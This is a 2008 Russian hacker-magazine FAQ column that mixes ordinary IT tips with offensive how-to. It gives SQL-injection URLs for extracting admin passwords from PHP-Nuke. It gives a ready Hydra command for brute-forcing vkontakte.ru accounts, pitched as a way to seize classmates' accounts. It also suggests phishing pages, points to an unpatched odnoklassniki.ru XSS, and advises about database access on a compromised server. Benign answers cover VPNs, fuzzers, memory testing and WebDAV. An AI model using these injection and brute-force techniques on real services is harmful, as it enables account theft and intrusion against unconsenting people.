Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #113, МАЙ 2008 г.

Faq United

Хакер, номер #113, стр. 113-152-1

Задавая вопрос, подумай! Не стоит задавать откровенно ламерские вопросы, ответ на которые ты при желании можешь найти и сам. Конкретизируй! Мы не телепаты, поэтому присылай как можно больше информации.

Q: Провожу инъекцию, но на выходе ничего не получаю, хотя колонки 100% существуют.

A: Видимо, требуется использование оператора LIMIT. Если первоначальный запрос выглядит примерно так: http://target/script.php?p=-1 union select 1,2,user,4 from users/*, то добавь limit и перебирай n: http://target/script.php?p=-1 union select 1,2,user,4 from users limit n,1/*, где n - 0-9.

Q: Не знаю логин админа и поэтому не могу вытащить через SQL-injection его пароль. Сайт работает на PHP(Post)-Nuke.

A: Как правило, в письме, подтверждающем регистрацию пользователей, указан e-mail администратора. Поэтому делай запрос следующего типа (названия колонок могут варьироваться):

http://localhost/modules.php?op=modload&name=Messages&file=readpmsg&start=9999%20union%20select 1,2,3,4,5,6,pn_pass,8+from+nuke_users where pn_email='admin@localhost.com'/*

Также в PHP-Nuke админу обычно присваивается pn_uid=2 (pn_uid=1 присваивается гостям (Anonymous)):

http://localhost/modules.php?op=modload&name=Messages&file=readpmsg&start=9999%20union%20select 1,2,3,4,5,6,pn_pass,8+from+nuke_users where pn_uid=2/*

Q: Пытаюсь получить рут, используя эксплоиты, но ничего не выходит, хотя версия ядра соответствует версии, указанной в сплоите. Единственное, что смущает – префикс grsec.

A: Скорее всего, ядро 2.6.22.9-grsec. Вообще, grsec – это патч для ядра, делающий стек неисполняемым. Говоря иначе, эксплоиты тут не помогут.

Q: Возможно ли в Java-программах переполнение буфера?

A: Нет. Верификатор байт-кодов (bytecode verifier) сканирует байт-коды, извлекает информацию о типах объектов в каждой точке выполнения фрагмента кода. Виртуальная машина Java предохраняет от выхода за границы выделенной памяти – происходит исключение, при этом внедренный код не будет выполнен. Не может произойти переполнения или «исчерпания» стека, параметры для инструкций байт-машины имеют нужный тип, а доступ к полям и методам объектов не нарушает объявленных в классе правил (public, private, protected).

Q: Разрабатываю простой сканер для анализа безопасности сети и появился банальный вопрос: как уменьшить число ложных срабатываний?

A: Самый очевидный путь – увеличить число полей в сигнатуре. А затем собирать все ответы-http-коды целевого сервера: ошибочные запросы, ограничения и т.п.

Q: Работаю в линухе, под рукой нет никакого другого брутфорсера паролей кроме John the Ripper, но нужно взломать raw («сырой») MD5. Возможно ли?

A: Заходим на главную страницу сайта JtR(http://openwall.com/john) и смотрим дополнения к Джону, среди которых находим и поддержку raw MD5. Дело за малым – наструячить команды в консоли. Для новичков распишем все команды, начиная с установки JtR. Поехали:

mkdir john

cd john

wget http://www.openwall.com/john/f/john-1.7.2.tar.bz2

tar -xvf john-1.7.2.tar

cd john-1.7.2

wget ftp://ftp.openwall.com/pub/projects/john/contrib/john-1.7.2-all-9.diff.gz

gzip -d john-1.7.2-all-9.diff.gz

patch -p1 < john-1.7.2-all-9.diff.gz

cd src

make

make clean linux-x86-any

Пускаем утилиту с указанием формата и файла с хэшами:

./john -format=raw-MD5 /home/corwin/md5_hashes.txt.

Q: На поломанном сервере нашел конфиг для подключения к базе данных, залил скрипт для работы с СУБД, но подключиться никак не получается.

A: Вероятнее всего скрипт посылает GET-запросы, которые режутся сервером. Используй скрипт для работы с MySQL/MSSQL, посылающий POST-запросы, к примеру, nsTview v3.1.Post (http://nst.void.ru/?q=releases&download=16).

Q: Провожу SQL-инъекцию и пытаюсь получить версию MySQL, но вместо этого появляется ошибка: «Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'»

A: Делаем вывод в другой кодировке – вместо version() пишем convert(version() using latin1).

Q: Существуют ли утилиты для переноса кода, написанного на языке NASL, на другой язык программирования и наоборот?

A: Для непосвященных: NASL (Nessus Attack Scripting Language – язык сценариев Nessus) – это скриптовый язык для написания сценариев для сканера Nessus.

На данный момент не существует программ для перевода NASL-сценариев на другие языки и перевода, к примеру, Perl-скриптов, на язык NASL.

Q: Хочу впервые воспользоваться VPN-сервисом. Появилось несколько вопросов:

  1. Когда юзаешь ВПН никто не узнает, что ты делаешь в Сети, правильно?
  2. Как для уверенности просмотреть, какой трафик (шифрованный/не шифрованный) проходит между моим ПК и ВПН-сервером?
  3. Что за технология Double VPN?
  4. Если я сам захочу поднять ВПН-сервис, то на серверах какой страны это наиболее безопасно?

A: 1) Если кому-то очень сильно понадобится, то узнают все и обо всем. Объясняю на пальцах. Провайдер будет знать, что ты подключен к ВПН, так как, естественно, в цепочке соединений «ты->конечный_сервер->пров» провайдер стоит раньше VPN. Ты подключаешься к его шлюзу, далее к VPN-шлюзу и, наконец, к конечному серверу. Также не стоит забывать про то, что на ВПНе вполне могут вестись логи.

И еще, хочется развеять миф, что, якобы, предоставляемые провайдером VPN'ы не шифруют трафик и вообще бесполезны. На самом деле ВПН провайдера шифровать может и, в большинстве случаев, если с настройками, установленными у прова, повезет, – шифрует.

В журнале уже писалось об ВПН, но для начала советую заглянуть на Википедию и ознакомиться с основами основ – http://ru.wikipedia.org/wiki/VPN.

2) Настраиваем VPN-подключение на виртуальной машине VMWare, запускаем на рабочей системе сетевой снифер (к примеру, Ethereal), подключаем виртуальную машину к VPN-серверу, смотрим отснифаные пакеты.

3) Поддержка двойного IP-адреса. Соединение с VPN происходит через один сетевой адрес, на выходе же мы получаем совершенно другой. Это сделано для того, чтобы у провайдера не было никаких логов по нашему IP.

4) Однозначного ответа нет, все опять-таки зависит от датацентра. Но старожилы ВПН-бизнеса, как правило, поднимают сервера в Голландии и Штатах.

Q: Иногда встречается термин «fuzzing, фазеры». Что это такое?

A: Фаззинг – это методика, основанная на проверке того, как приложение справляется с обработкой широкого диапазона случайных данных, заведомо составленных так, чтобы довести программу до сбоя. Примером фаззера может быть библиотека для Linux(and Solaris) – sharefuzz, предназначенная для тестирования типичных вариантов переполнения локальных буферов в setuid.

Из windows-фазеров можно отметить OWASP JBroFuzz – фаззер уязвимостей, работает с HTTP,

SOAP, XML, LDAP протоколами. Позволяет выявить XSS, SQL-injection, переполнения буфера, FSE и многие другие уязвимости крайне нестандартными методами.

На проекте Google Code можно найти еще фаззеры. К примеру, Bunny the Fuzzer (http://code.google.com/p/bunny-the-fuzzer) - фаззер программ, написанных на C. Работает под Linux, FreeBSD, OpenBSD, и Cygwin.

Q: В «пособиях» по фрикингу авторы используют так называемые Red box, Black box и Blue box. Для чего они предназначены и что делают?

A: Использование этих устройств сейчас достаточно сомнительно, ввиду сегодняшних тарифов, но все-таки, по порядку.

Red box – проигрывает тоны систем автоматического контроля оплаты в микрофон таксофона, тем самым обманывая систему и делая вид, что мы кинули монеты в таксофон. Вуаля, мы можем позвонить бесплатно :).

Black box является резистором, который помещают в телефонную розетку нашей телефонной линии. Он создает иллюзию, что при получении вызова мы не взяли трубку и не ответили. Счет за звонок не придет.

Blue box использует тон в 2600 hz для управления телефонными переключателями, использующими полосу передачи сигнала. Таким образом, мы можем обратиться к одной из функций переключателя для установления телефонной связи.

Q: Как перенести почту с локального компьютере на свой Gmail-аккаунт?

A: Если в качестве клиента ты используешь Microsoft Outlook, Outlook Express или Thunderbird, то идеально подойдет специальная утилита Google Email Uploader (https://mail.google.com/mail/help/email_uploader.html). К сожалению, для пользователей The Bat! пока ничего подобного не придумали. Может, попробуешь сам? :)

Q: Все-таки, реально ли сейчас взломать социальные интернет сети?

A: В текущем месяце, эта тема, пожалуй, одна из самых актуальных. Каждый хочет поиметь аккаунт своего одногруппника/одноклассника и т.п. Не так давно на сайте odnoklassniki.ru была найдена активная xss (на момент написания фака уязвимость не была закрыта). Тыкать пальцем, где она находится, не буду, так как искать особо не придется (или смотри информацию на форуме античата). В «вконтакте» также существует возможность внедрения кода.

Самым очевидным является метод брутфорсинга. Берем один из самых популярных брутфорсеров Hydra (http://freeworld.thc.org/thc-hydra), смотрим передаваемые параметры при авторизации и составляем (к примеру, для вконтакте.ру) готовый запрос для брута (запускаем через командную строку/оболочку):

hydra -l useremail%40domainzone -P passlist.txt vkontakte.ru http-post-form "/login.php:email=^USER^&pass=^PASS^:Target"

passlist.txt – файл с паролями, useremail%40domainzone – email пользователя, которого надо взломать. Например, admin%40vkontakte.ru :).

Подобный запрос можно составить для любого сервиса, того же одноклассники.ру, сокамерники.ру и т.п.

Также не стоит забывать про возможность создания фейк-страницы с формой авторизации, которую нужно под каким-либо предлогом подсунуть юзеру.

P.S. Ищи на диске перловый брутфорсер для «вконтакте».

Q: Каким запросом сдампить MySQL-базу, зная имя пользователя и пароль?

A: bin/mysqldump --user={username} --password={pass} --databases {dbname} > /home/corwin/dump.sql

Итак, {username} меняем на имя пользователя, {pass}, соответственно, на его пароль, а в {dbname} указываем имя базы данных, которую требуется сдампить, и в конце – путь для сдампленной БД.

Q: Как запретить доступ к USB флешкам в винде?

A: Есть два варианта: с использованием дополнительных средств и без них. Причем, первый будет работать во всех NT-системах, а второй – исключительно под управлением Windows Server 2003/2008. Дополнительным средством является утилита DeviceLock (www.devicelock.com), которая справляется с работой на «отлично» – каждому юзеру можно выдать свой уровень доступа к принтерам, вертушкам, флопикам и любому другому железу на компах в сети (и в том числе – к флешкам). Помимо этого присутствует замечательная опция, которая придется по вкусу всем любителям жесткого мониторинга – софт умеет сохранять любую инфу, что была скачана с девайсов системы или же туда залита. Теперь никто из работничков не унесет секретные доки из офиса. Впрочем, не так уж и сложно отключить для пользователя системы приводы CD-ROM, Floppy, USB Removable средствами самой винды. Достаточно воспользоваться специальной групповой политикой в Active Directory, установив в систему правильный шаблон. Подробности этого приема ты можешь прочитать здесь: www.petri.co.il/disable_usb_disks_with_gpo.htm

Q: Хочу предоставить пользователям своего сайта (небольшая социальная сеть) возможность выкладывать видеоролики с опцией просмотра через сеть. При этом не использовать API каких-то видеохостингов (вроде YouTube), а реализовать все исключительно своими силами. Не писать же видеопроигрыватель на Flash с нуля?

A: Правильно мыслишь! Прежде чем что-то начинать писать, нужно обязательно проверить: не сделал ли кто-нибудь это за тебя? В твоем случае идеально подойдет Flowplayer (www.flowplayer.org) – открытый медиаплеер, написанный на флеш. С его помощью прямо на своей странице можно воспроизводить самые разные форматы: FLV, SWF, MP3, MP4, H.264. FlowPlayer имеет массу конфигурируемых настроек, при этом пользователь во время просмотра может перейти к любому фрагменту, так же, как это реализовано на YouTube.

Q: Система постоянно стала зависать, выдавая синий экран смерти. Чует мое сердце, все проблемы из-за нового модуля памяти, который я недавно прикупил. Как бы его проверить?

A: Во-первых, тебе нужна Memtest86 – бесплатная программа от Криса Брэди (Chris Brady), которая диагностирует проблемы памяти. Утилита очень кропотливо (и жутко долго) будет сканировать твою память и, в конце концов, выдаст подробный отчет. Есть и похожая программа от Microsoft под названием Windows Memory Diagnostic. Обе рекомендуется запускать со съемного носителя. Неплохо также «прогнать тесты» S&M (http://testmem.nm.ru/snm.htm) – специальной утилиты для тестирования компонентов компьютера под максимальной нагрузкой. Изначально она была разработана для тестирования и поиска ошибок в работе процессора и оперативной памяти, проверки стабильности работы элементов питания материнской платы и эффективности системы охлаждения. Но позже в ней появилась проверка блока питания под сильной нагрузкой на основные компоненты системы (в том числе, видеокарты), а в последней версии добавился еще и тест жестких дисков.

Q: Что такое WebDAV и для чего он нужен?

A: Web-based Distributed Authoring and Versioning или WebDAV – это набор расширений для традиционного Hypertext Transfer Protocol (HTTP), позволяющий пользователям совместно работать и манипулировать файлами на удаленных WWW серверах. По сути, это реальная и намного более функциональная альтернатива для уже порядком устаревших FTP и SMB. Вот лишь некоторые возможности, которые предоставляет протокол:

  • выполнение основных файловых операций над объектами на удаленном сервере;
  • выполнение расширенных файловых операций (блокировки, поддержка версий);
  • работа с любым типом объектов (не только файлы);
  • поддержка метаданных (свойств) объектов;
  • поддержка одновременной работы над объектами.

К счастью, даже в самой винде клиент для работы с WebDAV встроен по умолчанию. Для подключения каталога публикации WebDAV в операционной системе Windows 2000 (и старше) надо выполнить следующие действия: перейти в «Сетевое окружение -> Новое место в сетевом окружении -> ввести URL-адрес и имя каталога WebDAV». Готово. Если своего сервера с поддержкой WebDAV у тебя нет, то возможности клиента можно проверить, воспользовавшись услугами сайта http://test.webdav.org/. С другой стороны, можно сразу поднять поддержку этого протокола на своем http-демоне, установив для Apache специальный модуль – mod_dav. Кстати сказать, он уже пять лет входит в десятку самых популярных модулей сервера Apache, хотя в России почему-то технологию по-прежнему использует немногие.

Содержание